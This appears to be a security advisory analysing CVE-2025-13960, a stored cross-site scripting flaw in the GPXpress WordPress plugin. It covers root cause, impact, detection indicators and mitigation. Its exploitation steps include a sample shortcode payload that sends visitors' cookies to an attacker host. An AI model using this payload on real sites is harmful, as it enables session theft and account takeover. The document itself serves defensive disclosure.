CVE-2025-13960: 
WordPress vulnerability analysis and mitigation

CVE-2025-13960 is a Stored Cross-Site Scripting (XSS) vulnerability in the GPXpress plugin for WordPress, affecting all versions up to and including 1.3. The flaw exists in the plugin's gpxpress shortcode due to insufficient input sanitization and output escaping on user-supplied attributes, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. It was published on December 12, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability resides in the gpxpress shortcode handler within includes/Gpxpress.php (around line 152), where user-supplied shortcode attributes are passed to page output without proper sanitization or escaping. An authenticated attacker with at least contributor-level WordPress access can craft a post or page containing a malicious gpxpress shortcode with injected JavaScript, which is then stored in the database and executed in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows injected scripts to execute in the browsers of all visitors to the compromised page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the payload is stored server-side, every subsequent page visitor is affected without any further attacker interaction. The scope is changed, meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence).

Exploitation requires a valid WordPress account with at least contributor-level privileges, limiting opportunistic mass exploitation but making it relevant in multi-author or open-registration WordPress environments. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of active exploitation in the near term. No public PoC exploit code, exploit kit integration, or in-the-wild exploitation has been reported as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify a WordPress site running the GPXpress plugin version 1.3 or earlier. This can be done by checking the plugin's readme or changelog exposed at /wp-content/plugins/gpxpress/readme.txt.
2. Obtain contributor access: Register or log in as a user with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a gpxpress shortcode with a malicious JavaScript payload in one of its attributes, for example: [gpxpress attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit for review: Save or publish the post. The malicious payload is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the injected script, potentially stealing session cookies, redirecting users, or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress post/page content containing [gpxpress shortcodes with embedded <script> tags, event handler attributes (e.g., onerror, onload), or encoded JavaScript in shortcode attributes visible in the database or post revision history.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with the gpxpress shortcode; unusual cookie or credential data in HTTP GET/POST parameters to attacker-controlled servers.
• File System: No direct file system artifacts expected for stored XSS; however, review wp_posts database table for posts authored by contributor-level users containing suspicious shortcode content.
• Browser/Application: Unexpected JavaScript execution or redirects when visiting pages using the gpxpress shortcode; browser console errors referencing unknown external scripts.

WordPress site administrators should update the GPXpress plugin to a version released after 1.3 that addresses this vulnerability, once a patched release is available from the plugin author (davidkeen). In the interim, administrators should disable the GPXpress plugin or restrict contributor-level post creation and editing capabilities to trusted users only. Reviewing existing posts for suspicious gpxpress shortcode usage is also recommended as a precautionary measure (Wordfence).

Wordfence disclosed this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as a stored XSS issue requiring contributor-level access (Wordfence Blog). No significant broader media coverage, vendor statements beyond the Wordfence advisory, or notable researcher commentary has been identified for this vulnerability.